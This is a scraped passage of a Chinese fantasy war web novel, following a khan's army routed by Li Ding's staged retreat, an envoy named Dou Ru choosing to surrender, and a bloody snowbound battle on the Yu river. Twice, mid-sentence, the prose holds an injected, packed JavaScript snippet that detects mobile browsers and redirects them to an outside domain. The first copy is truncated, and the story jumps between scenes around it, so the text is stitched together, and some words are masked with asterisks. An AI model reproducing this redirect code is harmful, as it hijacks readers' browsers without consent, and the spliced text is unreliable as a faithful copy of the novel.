“那可汗为什么要在刚刚再问一遍有没有黜龙帮的援军?还要兄弟你在这里守着,等候援军消息?”窦濡不解道。“他就没必要问呀?” 都速五也明显疑惑,但还是努力解释:“或许可汗是担心近处还有黜龙帮的兵马吧?或者后面援军露头了,总要及时知道?” 窦濡笑了笑,点了下头,心中却有些怪异——说白了,这些当然可以担心,但那是全军投入前,现在全军压上,包括都蓝自己都上了,就只有一条路了,再担心这种消息,未免可笑。 所以,刚刚都蓝是怎么回事? 老糊涂了吗?还是临阵动摇了,心里发虚? 这可不是好兆头,便是这一战成了,黜龙军二次、三次渡海而来,或者突利自身后来,都是个麻烦事,李定四旬不到,突利五旬不到,可都远比都蓝要年轻气盛。 想到这里,窦濡又忍不住看向了前方那庞大且古怪的大营,心中不由觉得自己可笑,自己居然还担心都蓝动摇,明明战局发展到现在,他窦大使还是觉得不放心,不也是一种动摇吗? 但没办法呀,作为战死于河北的河间副总管窦丕之子,黜龙军的韧劲,他可比这天下绝大部分人都要清楚的。 莫说还没有分出胜负,便是真的把李定打崩了,不亲眼见到对方纵帆渡海逃了,怕是都不信的。 黜龙帮已经有大势了,可关西那群没跟黜龙帮打过照面的却居然以为人家不堪一击……这一回在河内,说是平手,但应该是吃了大亏吧? 正在胡思乱想呢,早晨如盐粒一般风雪中,窦濡忽然听到一声巨响,惊得赶紧去看,却发现不是想象中什么真气相撞之类的,而是随着一段栅栏倒塌,无数的巫族丁口男女外混合着牲畜牛羊自营盘内涌出,呼喊声、哭泣哀嚎声与巫族步战骑兵们的骨哨声、哄笑声一起形成了某种类似于集体呐喊的巨响。 而再一看,不止是那个缺口,而是整个大营的北侧绵延数里的战线上全都有牲畜与俘虏涌出来,而且是同时涌出,这才造就了这种同时呼喊的巨响。 “这怎么回事?”窦濡惊惶起来。“那些后面的牛羊为什么身上有火,这是火牛计吗?” 旁边都速五无语至极,忍不住嗤笑:“窦大使,你今日到底怎么了?!我们要赢了!黜龙军放出战利品,是为了让我们哄抢,他们好趁机乘船逃走!这是巫地最常见的认输手段!牛羊身上有火,是因为太多了太挤了,沾到火盆而已!” 窦濡一时无可反驳,甚至有些茫然起来。 此时被风雪遮蔽的日头已经颇高,视野愈发清晰,只见数不清的牲畜、丁壮都涌了出来,而原本因为日夜奔袭外加辛苦厮杀已经疲惫的东部巫族王庭精锐们,此时反而振奋,匆匆驱赶牛羊、丁口,只恨不能三头六臂。 更有甚者,后方轮休的部队还要往前挤,前线部众则把住营盘阵地丝毫不让,过了一阵子圈了许多牛羊丁口,遣人送到后方,却又被后方眼红的部落直接劫掠。 窦濡看的心惊肉跳,而都速五等人则哈哈大笑。 另一边,都蓝可汗不得已放弃了南线阵地,回到北线,呵斥部队,要他们继续推进,战利品放出来战后一起分配云云,但偏偏混乱和争端已经产生,一时间竟不能控制局势。 也就在都蓝离开南线不久后,窦濡不经意间一抬头,竟看到南侧隔着数里远腾起了几缕烟柱,还在疑惑与警惕中呢,烟柱已经越来越多,很快就红彤彤一片,映红了半个天。 这下子,都不用绕过去看,所有人便晓得是怎么回事,一定是黜龙军在北线放出俘虏和牛羊后,又趁着都蓝离开在南线放了火,以作阻隔。 火焰催逼蔓延之下,南线的巫族兵马也纷纷撤离,然后立即参与到了北面战利品的争夺之中,军士、丁口、牛羊挤作一团,甚至连后方的战马都因为起火而猬集起来,使得都蓝整备部队的努力完全无效。 很快,肉香味与木炭味腾起,外加苦海的咸腥味混合在一起,产生了一种让人有些眩晕的诡异味道,半空中雪粒带着黑灰融化,落在人脸上,脏兮兮一片,牛羊身上更是狼狈。 营地最深处,也就是一开始登陆的野港内,李定登上了新的望楼上,凝神看了一会,复又将目光转移到近处,围绕着港口、船只,有着独立的土垒、壕沟、栅栏,以及涂满泥用来防火的毡布,赫然是一个独立于外围营盘的独立营盘,恰如城池内抱着一个独立仓城、港城一般。 而在这个港城内,赫然有足足十余营步卒装备整齐,所谓矛去套、弓上弦、铁裲裆上身,甚至人人口衔一枚黜龙帮自己发行的新钱,只纷纷排列整齐、席地而坐,任由那些灰雪落下,打脏他们身上的一切。 除此之外,这个港城边缘,还有五六个营沿线据守,却是从更外围撤回来的残兵败将。 “可以了。”李定看完之后,语气轻松,回头相顾。“黄大头领,你去组织部队接替防守,让外围兵马回来吃饭;黑公,请你带只白狼卫的精锐出去一趟,趁他们抢夺牛羊,把看管战马的人冲走!战马没必要带回来,尽量赶走,若是能完成任务撤回来自然撤回来,撤不回来骑上马走,往西面去便是……陆司命,你也准备好,待会要请你发兵反扑。” 黑延嘿嘿笑了一声,抢在黄平与陆惇之前下了望楼。 战场外围,窦濡还在发懵,哪怕是所有巫族人都在宣告胜利,他始终觉得哪里不对……而这种不安随着始终没有船只驶出港口而变得越发明显。 然后,他似乎真找到了一处破绽:“都速五兄,为什么只有牛羊,没有战马?” “战马肯定是优先送走了,或者被劫掠的黜龙军截留了。”都速脱口而对。“不然呢?” 窦濡一时语塞,却还是不安,复又来问:“到现在了,外围黜龙军的援军还没动静吗?” 都速迟疑了一下,倒是认真了起来:“极速放马拼命去跑,若是百里距离有黜龙军的话,此时肯定已经在回援了,我们的后卫与哨骑也必然得到消息了……不会是去抢牛羊了吧?我看到许多牛羊逃出去了。” 后半句指代明显有些混沌,到底是谁去抢牛羊?黜龙军援兵还是后卫与哨骑? 窦濡听完晓得不对劲,愈发紧张了起来,指着混乱营盘后方深处来问:“为何黜龙军还不登船?他们放出男女、牛羊,烧自己营盘不是为了逃跑吗?” 都速五言以对,但也明显有些慌神了。 二人正要讨论,却听得喧哗声再起,然后两人在外围小坡上眼睁睁看着着火的南部与纷乱的北部结合处涌出一支挂着白狼尾、手持**的精锐,轻松冲破了本就混乱的巫族部队,却丝毫不恋战,而是直趋更后方的战马群。 按照传统,这些放置在后方的战马每十匹一个看守者,却不是什么战斗人员,而是优秀的放牧者,他们负责必要时驱赶马匹逃离战场,保护巫族战士最宝贵的战场资源……但是现在,战马群中到处都是被劫掠送回来的牛羊,很多看马者也都参与到掠夺中,包括很多战马之前放在战场南侧,被大火一熏,匆匆带到北面来,更加杂乱。 更离谱的是,窦濡和都速五亲眼看到,这支明显应该来自白狼卫的荡魔卫精锐冲到营寨外围后侧战马群中,夺取了大量战马后,北面这里的营寨中竟然还在抢夺战利品! 这还不算,两人心里非常清楚,都蓝可汗的修为摆在那里,肯定是第一时间察觉到了这次突袭的,但可汗和他的祖龙卫却已经因为制止冲突而混散在乱糟糟的北部营寨内,根本没法组织反击。 “我去叫后卫来!”眼见如此,都速五再不能忍耐,打马向西去调兵了。 窦濡一个大使,此番随从出兵根本连随员都没带,只一人一身,此时干脆只能在马上枯立……说实话,他有预感,既然黜龙军没有乘船逃走,那今天这一战远远没完!而且局势应该已经非常非常危险了! 似乎是在呼应窦濡的想法,在都速五调度十几里外的后卫未到,都蓝不得不严厉呵斥,让部队往回上马,并终于起了点效果的时候,整齐的鼓声猛地在营地深处响起! 继而无数崭新的旗帜在内层蒙了涂泥毡布栅栏上方立起、摇晃。 接着是辕门大开,大股黜龙军吐出新钱,放声喊杀,开始朝着失去的阵地发起反击! 说反击其实有些不够准确,因为首当其冲的,依然是那些手无寸铁的俘虏,甚至是牛羊居多一些,而更外围,都蓝刚刚还在催促自己的王庭精锐们往回撤,此时又被人顺势一冲,哪怕是没有多少实质交战,却居然被立即冲动,而且是全无建制、混乱的往外滚! 眼见如此,被卷在其中都蓝只觉得脑子空白一片,一时间竟不知道是该继续催促部队往回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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七千人的部队,前日早间从淮安郡郡治比阳出发——內侍军的二号人物余烩带着一营內侍军留在了那里,而前日的天气还算妥当,阴沉了半日却没有下雪,官道上也被之前经过的主力部队临时清理过,所以行军非常顺利,他们当时一路走到了淮安郡最西北面的真昌。 但是,昨日一早再从真昌出发的时候,部队就开始变得艰难起来。 一来,自然是因为又**下雪了。 二来,如果说之前路程里算是在控制区内行军,本地官府可以发动徭役除雪,可以沿途组织后勤供应,可过了真昌,再往西北面的目标淯阳郡走,可就没人管了,道路上到处都是积雪,还有前军抛弃的杂物,一脚踩下去,软的软硬的硬,一时没到小腿,一时又直接滑倒。 至于什么干粮发凉,一整日行军到晚上才能进城烤火什么的,更是在消耗着所有人的耐心与精力。 只能说,委实辛苦。 这还不算,范厨子在中间看的清楚,新降的淮南军倒也罢了,又是降人又是淮南人的,畏惧下雪还能理解,理论上作为主心骨的內侍军上下好像也都无精打采,士气低迷的样子。 是许多军官没卵子的缘故?还是隔着七八年依旧记着当年冒雪南下那一遭呢? 想到这里,范厨子也觉得无力,好在此行的目的只是去接管被争夺下来的淯阳、南阳一带的城池,具体来说是要去淯水对岸淯阳郡向城县,在最前面推进的自然是单通海、伍惊风、牛达这些人和他们的精锐,还轮不到他们这些改编次数都要少两回的末流杂牌打仗……自然也没资格抱怨。 中午时分,雪花稍驻,他们来到了封冻的淯水,毫无波澜的跨越了这条直通南阳腹地的河流,抵达了对岸官道上的一处三岔路口。 这个时候,行军总管王焯发现了一些情况,喊来了范六厨跟郭祝,展示了一件东西,具体来说一辆被遗弃的坏掉的独轮车:“这车子不对……我们的地盘都是平原,军中、民间现在都是双轮板车,只有关西人出入武关道,才会用到独轮车。” 范厨子跟郭祝都有些懵。 随即,范厨子忽然去道边用手刨雪。 旁边郭祝则谨慎来问:“总管的意思是,这条路上有关西人?来的这么快吗?” “自然,而且是成建制的部队,不然没必要带后勤随军。”王焯肯定道。 “应该过去没多久。”范厨子也站起身。“雪盖的车辙不太厚……可能是昨天,也可能是今天,确实人挺多,但大略的踪迹还是被盖住了,不好具体分辨。” 郭祝还是有些紧张:“那我们是不是该快一些,把向城抢下来再说?这样也算锁死他们后路?要不要让淮南军伪装一下,万一向城有驻军的话想法子骗开?” “不必。”王焯眯眼望向沿着淯水官道的北向。“我的意思是,现在南阳空虚,我们两家都在抢城,但迟早要撞上打起来,而跟一城一地得失比,肯定是部队胜负更重要……军令我来担着,咱们掉头去追这支兵马,最起码要盯住他们,遣人给武川、真昌送信,让他们速速跟我们汇合夹击。” 没卵子却腰子比他们大的人开了口,范郭二人自然无话可说,部队立即掉头,转而向北。 又走了大约七八里而已,下午时分,疲惫至极的部队转过一处弯道,越过一片地势较高的树林,然后前军便目瞪口呆起来。 原来,前方被积雪覆盖的淯水河道周边,数不清的黜龙军与关西军正在肉搏战中,远远望去,黑色的战线绵延不停,根本看不到头,却同时显得细碎,俨然战场已经被积雪和疲惫以及伤亡分割的极为琐碎,偶尔腾空而起的流光也都被雪地映照的难以识别。 而且,不知道是不是错觉,似乎交战地点周边明显带有一丝红晕。 大概还是积雪的缘故,也可能两军全都疲敝、伤亡惨重的缘故,双方将士都有些有气无力,喊杀声都显得虚弱,甚至双方将士看到一支偃旗息鼓、不明阵营的兵马远远抵达,都没有人欢呼。 王焯、范六厨、郭祝三人不顾一切疾驰到最前方,看到这一幕各自头皮发麻,却只能催促部队不顾一切冲上前去。 腊月十五这一日,巫地战场上,都蓝可汗一头扎入李定苦心算计好的陷阱中,整个东部巫族的精华力量都陷入到了一种看起来没有伤筋动骨却全体岌岌可危的诡异局势;而也不知道是不是巧合,同一日,在大雪的遮蔽下,河南战场上,正在争夺南阳诸郡城池的黜龙军与关西军于武川以西、向城东北侧的封冻淯水河畔发生了一场典型的遭遇-添油战斗,两军足足六七万众,在脱离各自最高指挥官与最高阶战力的情况下,稀里糊涂进行了一场双方都注定伤亡惨重的战斗。 再往南去,相隔数千里的南岭之下,谢鸣鹤一阵心悸,从下午午睡中惊醒,擦了一把脸上汗水后,其人寻到隔壁冯缶,认真询问:“剩下两个凝丹明天上午到?” “自然。”冯缶莫名其妙。“不是中午刚刚与你说了吗?这样三日内,我便算是与你凑足了九个凝丹!” “不等了,现在就走!他们若有心,从后面追上我们便是!”谢鸣鹤伸手抓住对方衣袖,明显焦躁。“老冯,你也跟我走,现在走!” “如何这般急躁?”冯缶对自己本人要不要去的事情明显还处于迟疑动摇中,自然推脱。“你都说了,白三娘与当庐主人是气机相冲,谁都奈何不了谁的……我们凑足人了再去破局,不更好吗?” “不是这样的!”谢鸣鹤气急跺脚。“长江上固然是对峙难解,但全局呢?黜龙帮跟关陇,大明跟大英,两家都是庞然巨物,一旦相撞,必然是天崩地裂,不可控的一决胜负,谁都挡不住,而且会极速决出胜负……这不是当年东齐西魏的格局了!” 话到这里,谢鸣鹤抬手阻止冯缶出言,语气也变得恳切起来:“老冯,我告诉你,我们黜龙帮必胜!但是这种国战,局部败退、伤亡也是寻常,咱们早去、晚去,说不得便是一些人、许多人的生死,不能拖延,必须要走;至于你本人,你若以为可以拖延观望,怕是要后悔到后半生难安的!” 冯缶还是迟疑不语。 谢鸣鹤见状也不多言,干脆捏紧对方胳膊,语气严厉:“老冯,我现在牵你走!你若是主动摆脱,便是要与我们黜龙帮,与我一刀两断,将来是敌非友了!” 说完,竟然真的拽着对方往外走,并直接对着官府里的冯氏子弟与署吏呼喊下令,说是军情紧急,冯府君已经决定立即出发,要已经抵达的八位南岭凝丹一起随从北上。 冯缶满头大汗,但堂堂一位宗师……甭管是什么样的宗师……竟然真被谢鸣鹤一位成丹给这么一路牵出城去,往北面五岭深处而走。 PS:大家晚安。 (本章完) 第九十五章 送乌行(5) 昏黄的篝火旁,肉香混着屎尿臭四溢。 盐粒一般,分不清是从天上来还是被风从地上卷起的雪花砸入篝火,登时消融。都蓝可汗坐在篝火旁,盯着这些雪粒,脸色铁青,身体明显也有些僵硬,只任由身前的肉被烤黑。 下午的时候,都蓝执行了可能是最正确的应对方式,那就是重新整军,然后尝试利用部队的战力将当面的港口啃下来。 只要啃下来,获得后勤补充和立足之地,一切都好说,甚至还是他们巫族本地人胜算居多。 但失败了。 原因再简单不过: 首先,部队前一日夜长途奔袭,过了早上那个劲头后,委实疲惫不堪,没有力气就是没有力气,坐下来以后凝丹高手都困得不行; 其次,黜龙帮防守反击,利用大火加俘虏、牲畜打出来那一波,把原本三万现在不知道剩下多少的东部王庭精锐给打懵了,最起码建制完全混乱……没错,巫族部落也要讲建制的,王庭直属各军和各个亲附大部落都乱成一锅粥,根本没法在短时间内重新组织起来……实际上,若非是都蓝自己的祖龙卫被自己人弄散,他当时肯定就能有所作为的。 于是下午的结果就是,都蓝只能**自己的祖龙卫,外加少数王庭精锐集中发动突袭,却被李定亲自领着荡魔卫精锐给拦住了。早先突袭的黑延和白狼卫也好,后来出现的陆惇跟神仙洞直属精锐也罢,对于东部巫族人而言又不算什么陌生人,士气当时就跌的够呛,更不要说还有多位不认识的凝丹以及完全称得上以逸待劳的大部队严防死守。 拦住之后,就是现在了,部队暂时后退了十几里,就地露营。 这不是都蓝的军令,实际上,这位军中绝对领袖下午时分就已经神经紧绷到有些怪异的地步了,他在攻击失利的情况下迟迟不愿意下达撤军的命令,后撤几乎是部落头人和王庭贵人们自发的行为,都蓝都是被自己的烂翅祖龙卫给架回来的,只是他自己也没再反抗而已。 而停在这里也是没办法,因为撤到这儿天就黑了,就没人敢走了。 完全可以说,部队是失控的。 停下来以后秩序也没有恢复,依旧是一团乱麻! 点燃篝火……想得美! 附近成规模的木材能被砍走的全被砍走了,不能被砍走的也被黜龙军提前烧了,甚至有被俘虏的人说,黜龙军为了建那个港口自己用大船从北地运了许多板材来,这么近的距离,如何能给他们留木材? 于是乎,乌泱泱不知道多少人,只有几十处篝火,还都是贵人们占据。 吃的有,但你想吃热的,未免要用些极端手段——没错,一些人在杀那些牛羊,生吃温热的血肉!更多的人无法接受这种饮食,他们是王庭的战士,见识过南方的水土,知道什么是文明的,所以只是勉力吃冷干粮。 但吃的都不算最大的问题,冷也不是,莫说这些精锐基本上身上都有保暖的衣物,就是抱着牛羊也能暖和起来……另一个极端的困境是哭声。 那些被黜龙军俘虏又恶意放回来的丁口男女没有御寒的衣服,也没有吃的,甚至有人已经饿了一整天,他们的部落也基本上没了,只能躲在牛羊中间哭泣。 王庭的贵人们固然不用在这些人身上浪费粮食、篝火与衣物,但想阻止哭泣也不知道该怎么阻止,甚至都不知道哭的最难听的那个人在哪只羊的肚子下面,于是整个营地哭声一片,甚至形成了一种类似于嗡嗡嗡的怪异。 最后的问题,当然是战马了。 数万匹战马在白日的**中跑了一半……其实按照经验,这种事情在巫地不算什么大事,因为胜利者很快就会找到那些战马,重新控制起来。 只是这样的话,未免还有一个小问题,局势进展到现在,谁会是胜利者? 不知道过了多久,寒风呼啸中,连成片如嗡嗡嗡般的哭声都小了一些,同样一直有些僵硬的窦濡忽然起身准备离开篝火,结果不知道是脚麻还是没注意,差点没滑倒。 竟是可汗都蓝抬手扶了一下。 窦濡假装没看到是都蓝,只咬紧牙关道了声谢,便往外走去,然后也不去方便什么的,竟是七拐八绕,循着火光认定了最远的一处篝火而去。 距离此处篝火几十步,此间人员便默契的闭了嘴。 待到跟前,一人起身含笑来问,赫然是都蓝幼弟,执掌祖龙卫的都速五。 窦濡摆摆手,在几位巫族贵人警惕目光中硬挤着坐下,然后开门见山:“都速五大兄,你觉得咱们还能嬴吗?” 都速五表情怪异的看了对方一眼,摇头以对:“窦大使开什么玩笑?人家步步算计,从把咱们算计进来开始,便是赢了八成,今天上午那一遭反扑,便是人家已经完全赢了……我知道窦大使在想什么,无外乎还是觉得咱们打不下他们的营盘,他们也说不得也打不下我们的营盘……” 窦濡认真来问:“不是吗?” “不是。”都速五也无力起来。“且不说人家打没打下咱们只是不知道,便是后面营盘尚在,咱们也已经败了,因为人家是有心算计的,必然军需充足,随时可以分散撤退立足,可咱们呢……咱们便是抛下这些丁口,两百里内俱为敌境,却只有明日一日的干粮了,也没有营寨。” “不错。”窦濡望着火堆叹了口气。“战马也无了一半,黜龙军放出来的全是牛羊,却无半匹马。” 都速五闻言苦笑了一声:“窦大使,咱们知道的这营地上下所有人也都知道,按照习惯,一些跟王庭远一些的部落早该散了,你晓得我们为什么现在都还没散吗?反而大家挤作一团?” 窦濡愣了一下,若有所思道:“难道正是因为战马?” 此言一出,不止是都速五,篝火旁许多年轻贵人都苦笑起来。 “没错。”都速五努力言道。“战马跑了一半,剩下一半又乱成一团,自然是各家分别拿住了,而且是我们王庭直属各军拿的多些……其他各部便是想跑,难道要扔下自己的多半战士?至于说火并夺马,不是不可能,但黜龙军就在十几里外,不到万不得已,也没人敢动。” “可是这般说。”窦濡认真以对。“今夜或者明日黜龙军来攻怎么办?他们远远围着、耗着,等我们吃完了明日份的干粮又怎么办?当日在河南,也是下雪,也是冬日,东都数万人护送皇后去江都,就是被张行用这般手段给耗的自行崩解,最后只数百骑拿下了皇后……” 都速五和周边的年轻贵人们都肃然起来,又细细询问了一遍此事经过,窦濡自然添油加醋说了一通,然后复又追问不及:“所以,今夜明日,黜龙军追来或者合围怎么办?” 都速五被问的无可奈何,只能硬着头皮来言:“若是真到那一步,这个天气,大概就是死伤累累,全军覆没的样子。” “诸位。”窦濡语调艰难起来。“我来东部王庭这里已经许久,今日与你们说句实心话,我不想死。” 众人终于哄笑起来,个个都说谁难道就想死? “你们不晓得。”窦濡勉力解释。“自黜龙帮起势以来,好像跟我们窦氏有什么咒怨一般,尤其是我们这一代窦氏子弟,但凡是个出挑的,出来做点事情,又遇到黜龙军的兵锋,竟然十死**,至于我上一代掌权的长辈,竟然也**我亲父……实际上,若不是他们都**,也轮不到我来做这个大使,所以诸位真不要笑话,我刚刚越想越难受,实在是不愿意轻易死在此间,就好像路边倒毙的那些牛羊一般,所以才来找你们问问情况。” 周围人一开始还在笑,后来全都沉默了下来。 “我们晓得窦大使难处,这样好了,看在咱们这些日子相处妥当的份上,待会给你一匹好马,你乘夜走吧,生死由祖龙来定。”都速五指着远处的烂翅龙旗来言。 窦濡缓缓摇头:“单枪匹马而走,我怕反而必死无疑……” 都速五面露怪异:“那你想如何?” 窦濡终于敛容相对,一字一顿于篝火畔来道:“都速五大兄,我觉得眼下生路只有一条,那就是干脆抢在黜龙军来找我们之前,主动去那个港口营地前投降……我来巫地之前,翻看了不少你们的故事经历,好像你们自古以来,无论多大的部落败了,都没有咬牙死扛到底的说法吧?素来都是能走则走,不能走则降……最多是过些日子,盛衰翻转,再做回来而已。 “而眼下这种局势,你们这些人不去宽慰可汗,反而在这里**,莫非是想降吗?若是如此,能否带上兄弟?将来必有回报!” 都速五愣愣看着对方,许久方才回过神来,连连摇头:“窦大使,是兄弟我考虑不周,只想着你是大英的大使,又有杀父之仇,这里谁都能降,独你是要跟黜龙帮作对到底的……却忘了,你若不降,巫地之大,你的生路反而是最小的。” “不是这样的,不是这样的。”窦濡再三摇头。“都速五大兄,你还是没想明白……你只从巫地传统考量自家,最多考量部落前途,觉得降了也无妨,却忘了人家李定既然这般算计,那此番渡海而来就绝对不是简单的劫掠了,不是劫掠,就一定是如我们之前猜的那般,是要打通东部巫族,借此地南下,挠我们大英之背……而且他已经成功了,对不对?!短期内,东部巫族已经无力阻止他从此间进军了,是不是?!” 闻得此言,饶是晓得这不干自己事,都速五等人依旧心下一惊——这可是关乎天下大势的动作。 “而若是这般,黜龙帮跟关西之间,大明跟大英之间,胜负其实也已经有些分明了!”窦濡继续艰难言道。“所以我现在不光是爱惜自己性命,更是忧虑于窦氏前途……若是到时候我们灵武窦氏跟白氏一起栽了,依着黜龙帮跟我们窦氏的那个咒怨,灭族了都不一定,我此时降了,反而能为窦氏留个根!至于都速五大兄你,我建议你也要做好准备,接下来时局之倾覆,可能比你我想的都要快!” 都速五叹了口气,点点头:“窦大使,你说的有道理,且随我来。” 说着便起身往营地内里去,窦濡赶紧跟上,竟然随着对方回到了都蓝的篝火旁,然后亲眼目睹对方低声将一切转告给了枯坐在这里的可汗。 一开始窦濡还有些不安,但很快他就意识到什么,然后冷静了下来。 果然,都蓝听完讲述,再度打量了一下这个南**使,然后不晓得是苦笑还是嘲笑了一声:“窦大使想的通透,但不该自行其是,我原本还想带你去找突利呢……不过算了,事已至此,随你好了,就跟着都速五吧。” 窦濡无言以对,只能俯首千恩万谢。 腊月十五,夜色深沉,黜龙军并没有发动攻击,哭声愈发低沉的临时营地里,篝火开始或自然或人为的熄灭,都蓝与二三十个精锐祖龙卫一起换了衣服,只将那面烂翅龙旗卷起来背在马上,带着一张弓、两筒子箭、一柄木把长矛,便扔下整个东部王庭的精锐,毫不迟疑的消失在了夜色中。 窦濡带着复杂的心情看着这一幕……说实话,伴随着渐大的雪花,这一幕似乎还挺有美感的。 没错,按照巫族的历史传统来看,都蓝非但不是什么软弱之举,反而非常有魄力——知道必输,毫不迟疑的选择了逃亡,接下来,拥有所谓祖龙血统的他会在之前的竞争对手、堂弟突利那里获得庇护,突利也没有道理不庇护他,而按照巫族部落的兴亡迭起之迅速、繁复来看,只要李定一走,他找到机会再回到东部,很可能会迅速重建霸权。 当然,到时候也可能是都速五可汗早早趁势而起的新故事。 这就是巫族人,一日兴,一日亡,一次天灾,一次军事伏击或者斩首突击,就会让一个一度强大到出毒漠直逼渭水的政权迅速瓦解,但仅仅是一年半载后,这个政权的组成部分就会重新集结,汇集到另外一个有着血统和武力的强人手下,迅速建立起一个新的政权。 窦濡并不羡慕这些巫族豪杰,因为时代在变化,而开辟新时代的人是不会怜惜这些旧东西的,旧的规则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168051|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未必有用。长安那些沉迷联姻、官职、圣眷、兵权的老头子们尚且不知道前途在哪里,何况是沉迷于更低劣**、军事传统的巫族人? 但窦濡也不觉得这些人可悲。 毕竟,都是一种生存之道,谁比谁就能更高瞻远瞩一些? 自己能认识到这些东西,是用自己家破人亡,是自己父亲在河北用性命换来的结果,他宁可自己父亲能回来。 窦大使大约花了十几个呼吸的时间恢复了冷静,然后下定了决心——想要活下去,就得抛弃这些旧船! 凌晨的时候,雪越下越大,都速五这类人开始自行收拢愿意跟随的队伍,然后迅速引发了**,大部队在根本不晓得都蓝已经离开的情况下开始崩坏,然后预想的那般,战马成为了所有人争夺的对象……窦濡甚至亲眼看见一名之前被黜龙军俘虏的丁壮在马上咬**一名受伤的王庭贵族,然后浑身浴血的打马逃离了此间。 也不知道他会去什么地方,能不能活下来? 就这样的,队伍的崩坏很快引来了在视野外监视的黜龙军,很显然,黜龙军都没想到巫族王庭队伍会突然全面崩解,而且他们也缺乏足够多的骑兵去追索,只能勉强控制这个临时营地,收拢包括都速五、窦濡在内的主动请降的大量降人……但不要紧,或许有个别人能逃出去,可两百里的空间,足够外围的完成任务的黜龙军各营从容猎杀逃散部队,夺回大部分还活着的战马、牛羊以及俘虏。 完全可以说,李定只用了微小的军事代价,就取得了这一战的全胜……当然了,前提是登陆港口周边两百里的这些部落以及跟牛羊尸体一起被雪花掩埋的丁口男女们不算代价。 腊月十六,天亮之后,河南雪停,抵达淯阳郡武川城的张行心如刀绞。 和李定的代价不同,张行这里的代价是真正的代价,昨日那场在淯水上的遭遇战,黜龙军的战场伤亡加上冻残累病累计减员近七千!占了黜龙军参战总兵力小两成! 平心而论,张行是真想到过会出现类似情况的。 这么严重的积雪和冰冻,极为广阔的战略回转空间,一旦在远离高阶战力的地方发生遭遇战,想退想避都难,而必然发生的低温下的雪地肉搏战,会让双方无论胜负都要付出巨大的牺牲。 这跟河内那种阵地稳固、阵型严密的战斗不一样。 这也是为什么张行之前要对王代积和司马正发怒的原因。 但他万万没想到,这一战来的那么快,伤亡那么严重,昨天就感觉到心神不宁了,就直接南下了,却还是没赶得及。 “这一战其实是我们赢了。” 武川城头门楼上,因为伤兵极多,占据了大部分房舍,单通海只能在这种地方对张行做汇报。“打到下午,都快撑不住的时候,王大头领领着七千人从南面过来,对方就撤了……虽说因为天黑下雪,追击没有太远,今日他们又回来带走了不少尸体,但无论如何,都是我们嬴了,他们伤亡肯定更多。” 张行铁青着脸点点头:“不错,无论如何都是我们胜了……怎么打起来的?关西人的兵马都是什么组成,他们的府兵再动员那么快吗?” “打起来很简单。”单通海继续艰难讲述。“他们的人前日一早抢先一步占据了河对岸的向城,淯水又冻上了好几尺,便想着继续来抢武川,而那个时候我这边也有一个营已经到了武川,但只有一个营,也不晓得对面多少人,便呼喊身后的部队来武川,自己去阻击一二,然后等援军过来……结果没想到,双方大部队都在淯水两岸各处胡乱布置,都往这边支援,打到中午就已经好十几个营了。” “这不是碰巧。”牛达胳膊上竟然挨了一刀,此时显得有些面目狰狞。“是咱们占了淮西几郡后,个个心急想去吃南阳这块肥肉,这才乱糟糟挤在淯阳;而关西人占据淅阳郡后,也想把南阳整个吞下来,就绕过了南阳,直奔淯阳,想着只要封锁了淯水两岸通道,南阳就成了他们瓮中之物……所以才会撞到一起。” 旁边一直没开口的伍惊风有些心惊,但对方没有点名说自己,一时也不知道该如何接口。 “你说的对。”张行随即点头。“这一仗不是胡乱打起来的,是我夺淮西太顺利,起了轻敌之意……在淯水撞上本可以推算出来的,这一战的伤亡要记在我头上。” 周围几位直接参与了战事的龙头都有些讪讪之态,牛达也不吭声了。 “军队组成呢?”张行见状催促了一句。“你们还没说……关西军如何来这么多,这么快?” “不全是之前的关西府兵。”牛达回过神来,语气也平静了下来。“很多都是卫戍兵,但军官都年轻,应该是征发了关西各家子弟,然后带上关中一带的卫戍部队临时混编成的兵马……不然不至于打的这么没章法,偏偏都敢战求战。” 张行心中微动:“倒算是把他们的瓤给挤出来了……白横秋呢,我都到了,他到哪儿了?” 几人面面相觑,没人会觉得白横秋敢不来,而且十之**就在淯水对岸某地,只是事情太仓促,还没弄清楚,也不好答。 “缓一缓。”张行想了一下,下达军令。“缓一缓,天太冷了,打起来太难了……第一,发信给柴龙头,告诉他,我们要在这里这里设立大营,集中部队,保持震慑,让他建立和确保后勤线;第二,整个河南部队和兵员的事情单龙头去统一管理,确保兵员转运妥当,后续兵马进得来,伤兵能送走;第三,伍龙头去联系你的南阳故旧,牛达去联系闻人寻安,想方设法诱降他们!” 话到这里,张行顿了一下,复又开口:“缓归缓,但该**还得**,不能让他们以为我们不敢打,明日发一营兵南下,假装去偷南阳,做个伏击,也算做个侦查!看他们敢不敢不来?!” 周围几个龙头,原本已经气色稍缓,此时闻言,却又再度失态起来……很显然,战争发展到现在,其激烈程度已经由不得人了。 PS:祝大家七一快乐! 第九十六章 送乌行(6) 腊月中旬往后几日,南阳一带的雪渐渐停止,但风没有停,而且依旧是封冻三尺。 自腊月十五那一战之后,黜龙军与关西军的动作明显收敛了……没办法,伤亡太吓人了,谁都后怕! 唯独问题在于,这等广阔的回转空间,这么多城池据点,这么长的补给线,数不清的民夫和军士在年关前离开家中至此,伴随着的是无数钱粮物资的消耗,偏偏南阳最核心的区域就在眼前,难道要所有人都窝在城里一动不动吗?而且窝在城里就能避免战斗吗? 于是乎,接下来数日,两军逐渐进入到了一种很热闹的对峙状态。 